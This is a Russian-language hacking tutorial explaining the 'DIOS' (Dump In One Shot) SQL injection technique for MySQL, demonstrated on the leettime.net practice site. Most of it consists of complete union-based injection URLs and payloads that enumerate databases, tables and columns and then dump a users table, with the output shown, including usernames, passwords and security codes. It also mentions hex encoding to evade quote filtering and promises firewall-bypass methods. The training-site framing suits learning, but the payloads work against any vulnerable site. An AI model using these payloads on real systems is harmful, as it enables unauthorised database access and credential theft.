Сегодня речь пойдет о небольшом углубление техники эксплуатации SQL инъекций которая получила свое весьма логическое название — «DIOS in SQL injection«. Основы работы с SQL инъекциями в этой статье рассматриваться не будут так как в интернете уйма материала для ознакомления.


        DIOS -(Dump In One Shot|»Дамп всех столбцов и колонок за один запрос«) это техника раскручивание SQL инъекций часто применяемая когда средства автоматизации работы с SQL инъекциями такие как SQLmap, Havij и им подобные не могут справиться с WAF (WebApplicationFirewall) но заведомо известно нам пути обхода этих фаерволов порой вынуждают нас писать дополнительные скрипты для того же SQLmap или свои утилиты под такие ситуации.Я же хочу рассмотреть с вами альтернативу этому и использовать всего лишь браузер.Заранее хочу сказать что область применение этой техники это Union Base SQL инъекций — тобиж те инъекции которые имеют вывод в браузере.Так же реже встречается и среди Error Base SQL иньекций, но встречаются и немного сложнее реализуется.Для слепых инъекций эта техника не применяется.По этому сегодня мы будем рассматривать классическую Union Base SQL injection с применением DIOS в MySQL базах(Также применяется и в PostgreSQL и MSSQL базах).
Для начала попытаемся поэтапно разобрать эту технику и как её реализовать
Как вы уже смогли догадаться по названию (DIOS — Dump In One Shot)  — «Весь дамп в одном выводе» своеобразная техника построения запросов в области инъекций кода SQL которая с  помощью применение операторов языка SQL позволяет нам вывести весь дамп за один запрос.
Для начала давайте посмотрим на следующий запрос в MySQL который выведет все возможные имена баз данных:

Классический вид простейшего DIOS запроса в MySQL базах имеет следующий вид:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in @a:=concat(@a,schema_name,'
'))))a);

В качестве примера будет выступать онлайн площадка для тренировки навыков в sql injection сайт leettime.net так мы закон не нарушаем.
И так есть у нас уязвимый ресурс:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php
?id=.1' union select 111,222,333 -- -

Столбец 222 уязвим — в него и вставим наш DIOS запрос.

http://leettime.net/sqlninja.com/tasks/basic_ch1.php
?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'
'))))a)),333 -- -

Как мы видим нам вернуло список всех баз данных на этом сайте.
2016-01-21-110747_1023x440_scrot

Теперь давайте разбираться как мы пришли к такому запросу.
Для начала давайте посмотрим на такой запрос:

select * from test.users where user_name in ("hacker","admin","rururu","tututu");

2016-01-21-111236_883x192_scrot

запрос будет идентичен этому запросу:

select * from test.user where user_name='hacker' or user_name='admin' or user_name='rururu' or user_name='tututu';

2016-01-21-111449_1006x207_scrot

И вернет выборку всех данных из таблицы user_name где  выполняется условия where и в нашем случае вернется данные для пользователей admin и hacker так они удовлетворяют условие where.
Идем дальше, смотрим часть запроса

(select (@a) from (information_schema.schemata)where(@a)in @a:=concat(@a,schema_name,'
')

Как мы можем видеть командой select мы делаем выборку переменной @a (@ знак переменной в синтаксисе языка MySQL) из таблицы information_schema.schemata  и благодаря оператору IN все имена баз данных попадают в обработку команды IN и происходит их выборка так как все они существуют в базе.Таким образом выполняется цикл где переменная @a  поставляется и выбирается по каждому существующему имени базы и в результате мы получаем результат на вывод.

Теперь давайте посмотрим на заключительную часть запроса:

(select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'\n'))))a);

Здесь происходит выборка обьедененных значений переменной @a.
Думаю понятно как переменная @a обрабатывается в цикле и как происходит выборка.
Хочу заметить то что для конкатенации строк мы не используем команду group_concat так она умеет возвращать только первых 1024 символов
(Хотя можно обойти это ограничение с помощью команды CAST AS и указать нужное нам ко-тво выводимых символов, но об этом мы сегодня говорить не будем)
Давайте используя наш DIOS запрос выведем имена всех таблиц:
Для терминала команда выглядит так:

(select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.colums)where(@a)in(@a:=concat(@a,table_schema,'  :::  ',table_name,'\n'))))a);
Вывод будет таким

information_schema ::: ALL_PLUGINS information_schema ::: APPLICABLE_ROLES information_schema ::: CHARACTER_SETS information_schema ::: COLLATIONS information_schema ::: COLLATION_CHARACTER_SET_APPLICABILITY information_schema ::: COLUMNS information_schema ::: COLUMN_PRIVILEGES information_schema ::: ENABLED_ROLES information_schema ::: ENGINES information_schema ::: EVENTS information_schema ::: FILES information_schema ::: GLOBAL_STATUS information_schema ::: GLOBAL_VARIABLES information_schema ::: KEY_CACHES information_schema ::: KEY_COLUMN_USAGE information_schema ::: PARAMETERS information_schema ::: PARTITIONS information_schema ::: PLUGINS information_schema ::: PROCESSLIST information_schema ::: PROFILING information_schema ::: REFERENTIAL_CONSTRAINTS information_schema ::: ROUTINES information_schema ::: SCHEMATA information_schema ::: SCHEMA_PRIVILEGES information_schema ::: SESSION_STATUS information_schema ::: SESSION_VARIABLES information_schema ::: STATISTICS information_schema ::: SYSTEM_VARIABLES information_schema ::: TABLES information_schema ::: TABLESPACES information_schema ::: TABLE_CONSTRAINTS information_schema ::: TABLE_PRIVILEGES information_schema ::: TRIGGERS information_schema ::: USER_PRIVILEGES information_schema ::: VIEWS information_schema ::: GEOMETRY_COLUMNS information_schema ::: SPATIAL_REF_SYS information_schema ::: CLIENT_STATISTICS information_schema ::: INDEX_STATISTICS information_schema ::: INNODB_SYS_DATAFILES information_schema ::: TABLE_STATISTICS information_schema ::: INNODB_SYS_TABLESTATS information_schema ::: USER_STATISTICS information_schema ::: INNODB_SYS_INDEXES information_schema ::: XTRADB_RSEG information_schema ::: INNODB_CMP_PER_INDEX information_schema ::: INNODB_TRX information_schema ::: CHANGED_PAGE_BITMAPS information_schema ::: INNODB_FT_BEING_DELETED information_schema ::: INNODB_LOCK_WAITS information_schema ::: INNODB_LOCKS information_schema ::: INNODB_TABLESPACES_ENCRYPTION information_schema ::: XTRADB_INTERNAL_HASH_TABLES information_schema ::: INNODB_SYS_FIELDS information_schema ::: INNODB_CMPMEM_RESET information_schema ::: INNODB_CMP information_schema ::: INNODB_FT_INDEX_TABLE information_schema ::: INNODB_SYS_TABLESPACES information_schema ::: INNODB_MUTEXES information_schema ::: INNODB_BUFFER_PAGE_LRU information_schema ::: INNODB_SYS_FOREIGN_COLS information_schema ::: INNODB_CMP_RESET information_schema ::: INNODB_BUFFER_POOL_STATS information_schema ::: INNODB_FT_INDEX_CACHE information_schema ::: INNODB_SYS_FOREIGN information_schema ::: INNODB_METRICS information_schema ::: INNODB_FT_DEFAULT_STOPWORD information_schema ::: INNODB_CMPMEM information_schema ::: INNODB_SYS_TABLES information_schema ::: INNODB_SYS_COLUMNS information_schema ::: INNODB_FT_CONFIG information_schema ::: INNODB_BUFFER_PAGE information_schema ::: INNODB_CMP_PER_INDEX_RESET information_schema ::: XTRADB_READ_VIEW information_schema ::: INNODB_SYS_SEMAPHORE_WAITS information_schema ::: INNODB_CHANGED_PAGES information_schema ::: INNODB_FT_DELETED information_schema ::: INNODB_TABLESPACES_SCRUBBING mysql ::: column_stats mysql ::: columns_priv mysql ::: db mysql ::: event mysql ::: func mysql ::: general_log mysql ::: gtid_slave_pos mysql ::: help_category mysql ::: help_keyword mysql ::: help_relation mysql ::: help_topic mysql ::: host mysql ::: index_stats mysql ::: innodb_index_stats mysql ::: innodb_table_stats mysql ::: plugin mysql ::: proc mysql ::: procs_priv mysql ::: proxies_priv mysql ::: roles_mapping mysql ::: servers mysql ::: slow_log mysql ::: table_stats mysql ::: tables_priv mysql ::: time_zone mysql ::: time_zone_leap_second mysql ::: time_zone_name mysql ::: time_zone_transition mysql ::: time_zone_transition_type mysql ::: user performance_schema ::: accounts performance_schema ::: cond_instances performance_schema ::: events_stages_current performance_schema ::: events_stages_history performance_schema ::: events_stages_history_long performance_schema ::: events_stages_summary_by_account_by_event_name performance_schema ::: events_stages_summary_by_host_by_event_name performance_schema ::: events_stages_summary_by_thread_by_event_name performance_schema ::: events_stages_summary_by_user_by_event_name performance_schema ::: events_stages_summary_global_by_event_name performance_schema ::: events_statements_current performance_schema ::: events_statements_history performance_schema ::: events_statements_history_long performance_schema ::: events_statements_summary_by_account_by_event_name performance_schema ::: events_statements_summary_by_digest performance_schema ::: events_statements_summary_by_host_by_event_name performance_schema ::: events_statements_summary_by_thread_by_event_name performance_schema ::: events_statements_summary_by_user_by_event_name performance_schema ::: events_statements_summary_global_by_event_name performance_schema ::: events_waits_current performance_schema ::: events_waits_history performance_schema ::: events_waits_history_long performance_schema ::: events_waits_summary_by_account_by_event_name performance_schema ::: events_waits_summary_by_host_by_event_name performance_schema ::: events_waits_summary_by_instance performance_schema ::: events_waits_summary_by_thread_by_event_name performance_schema ::: events_waits_summary_by_user_by_event_name performance_schema ::: events_waits_summary_global_by_event_name performance_schema ::: file_instances performance_schema ::: file_summary_by_event_name performance_schema ::: file_summary_by_instance performance_schema ::: host_cache performance_schema ::: hosts performance_schema ::: mutex_instances performance_schema ::: objects_summary_global_by_type performance_schema ::: performance_timers performance_schema ::: rwlock_instances performance_schema ::: session_account_connect_attrs performance_schema ::: session_connect_attrs performance_schema ::: setup_actors performance_schema ::: setup_consumers performance_schema ::: setup_instruments performance_schema ::: setup_objects performance_schema ::: setup_timers performance_schema ::: socket_instances performance_schema ::: socket_summary_by_event_name performance_schema ::: socket_summary_by_instance performance_schema ::: table_io_waits_summary_by_index_usage performance_schema ::: table_io_waits_summary_by_table performance_schema ::: table_lock_waits_summary_by_table performance_schema ::: threads performance_schema ::: users test ::: users

2016-01-21-115011_506x478_scrot

И для нашего уязвимого сайта запрос будет выглядеть так:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where (@a)in (@a:=concat(@a,'',table_schema,'  ::: > ',table_name,'
'))))a)),333 -- -

 

Я добавил html теги для лучшей визуализации(В ситуациях когда символ кавычки ' запрещен можно использовать hex кодировку)
И в результате получил следующий вывод:


Вывод будет такой:

information_schema ::: > CHARACTER_SETS information_schema ::: > CLIENT_STATISTICS information_schema ::: > COLLATIONS information_schema ::: > COLLATION_CHARACTER_SET_APPLICABILITY information_schema ::: > COLUMNS information_schema ::: > COLUMN_PRIVILEGES information_schema ::: > INDEX_STATISTICS information_schema ::: > ENGINES information_schema ::: > EVENTS information_schema ::: > FILES information_schema ::: > GLOBAL_STATUS information_schema ::: > GLOBAL_VARIABLES information_schema ::: > KEY_COLUMN_USAGE information_schema ::: > PARAMETERS information_schema ::: > PARTITIONS information_schema ::: > PLUGINS information_schema ::: > PROCESSLIST information_schema ::: > PROFILING information_schema ::: > REFERENTIAL_CONSTRAINTS information_schema ::: > ROUTINES information_schema ::: > SCHEMATA information_schema ::: > SCHEMA_PRIVILEGES information_schema ::: > SESSION_STATUS information_schema ::: > SESSION_VARIABLES information_schema ::: > STATISTICS information_schema ::: > TABLES information_schema ::: > TABLESPACES information_schema ::: > TABLE_CONSTRAINTS information_schema ::: > TABLE_PRIVILEGES information_schema ::: > TABLE_STATISTICS information_schema ::: > THREAD_STATISTICS information_schema ::: > TRIGGERS information_schema ::: > USER_PRIVILEGES information_schema ::: > USER_STATISTICS information_schema ::: > VIEWS information_schema ::: > INNODB_BUFFER_PAGE information_schema ::: > INNODB_TRX information_schema ::: > INNODB_BUFFER_POOL_STATS information_schema ::: > INNODB_LOCK_WAITS information_schema ::: > INNODB_CMPMEM information_schema ::: > INNODB_CMP information_schema ::: > INNODB_LOCKS information_schema ::: > INNODB_CMPMEM_RESET information_schema ::: > INNODB_CMP_RESET information_schema ::: > INNODB_BUFFER_PAGE_LRU leettime_761wHole ::: > testtable1 leettime_761wHole ::: > userlogs leettime_761wHole ::: > users

2016-01-21-115811_983x493_scrot
Ну если нам база information_schema не нужна — то можем ее сразу отфильтровать в нашем DIOS запросе
и наш запрос будет иметь следующий вид:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a)
from (information_schema.columns)where(table_schema!='information_schema')and (@a)in (@a:=concat(@a,'',
table_schema,'  ::: > ',table_name,'
'))))a)),333 -- -

Получим следующий вывод:

Username is : leettime_761wHole ::: > testtable1
leettime_761wHole ::: > userlogs
leettime_761wHole ::: > users

2016-01-21-120339_1017x508_scrot

Теперь давайте добавим к нашему выводу еще имена столбцов:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a)
from (information_schema.columns)where(table_schema!='information_schema')and (@a)in (@a:=concat(@a,'<font color=red>',
table_schema,'</font><font color=green>  ::: > ',table_name,'</font><font color=blue>  --->  ',column_name,'<br>'))))a)),333 -- -

Получаем вывод:

Username is : leettime_761wHole ::: > testtable1 ---> testid
leettime_761wHole ::: > testtable1 ---> column1
leettime_761wHole ::: > testtable1 ---> column2
leettime_761wHole ::: > testtable1 ---> column3
leettime_761wHole ::: > userlogs ---> id
leettime_761wHole ::: > userlogs ---> username
leettime_761wHole ::: > userlogs ---> action
leettime_761wHole ::: > userlogs ---> date
leettime_761wHole ::: > users ---> id
leettime_761wHole ::: > users ---> username
leettime_761wHole ::: > users ---> password
leettime_761wHole ::: > users ---> user_type
leettime_761wHole ::: > users ---> sec_code

2016-01-21-120915_1008x484_scrot

Если нам нужно получить дамп данных из нужной таблицы также можно использовать запрос вида:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a)
from (users)where (@a)in (@a:=concat(@a,'<font color=red>',
username,'</font><font color=green>  ::: > ',password,'</font><font color=blue>  --->  ',sec_code,'<br>'))))a)),333 -- -

Получаем вывод:

Username is : injector ::: > khan ---> LJDFAL123123
decompiler ::: > hacktract ---> LADQAL128271
devilhunte ::: > dante ---> LATQAL1987A1
Zen ::: > sec-idiots ---> LADQAL128271
Zenodermus ::: > security-i ---> LASQAL12RT90
grayhat ::: > hacker ---> 987AKHASD987
khan ::: > haxor ---> KSDLWEL12222
admin ::: > sadmin ---> 34DFA3423DFD

SQL_DIOS

Это мы рассмотрели классический простой DIOS запрос в SQL injection.Далее планируется углубление этой техники и будут рассмотрены техники обхода различных веб фаерволов(WAF)
Всем спасибо за внимание. )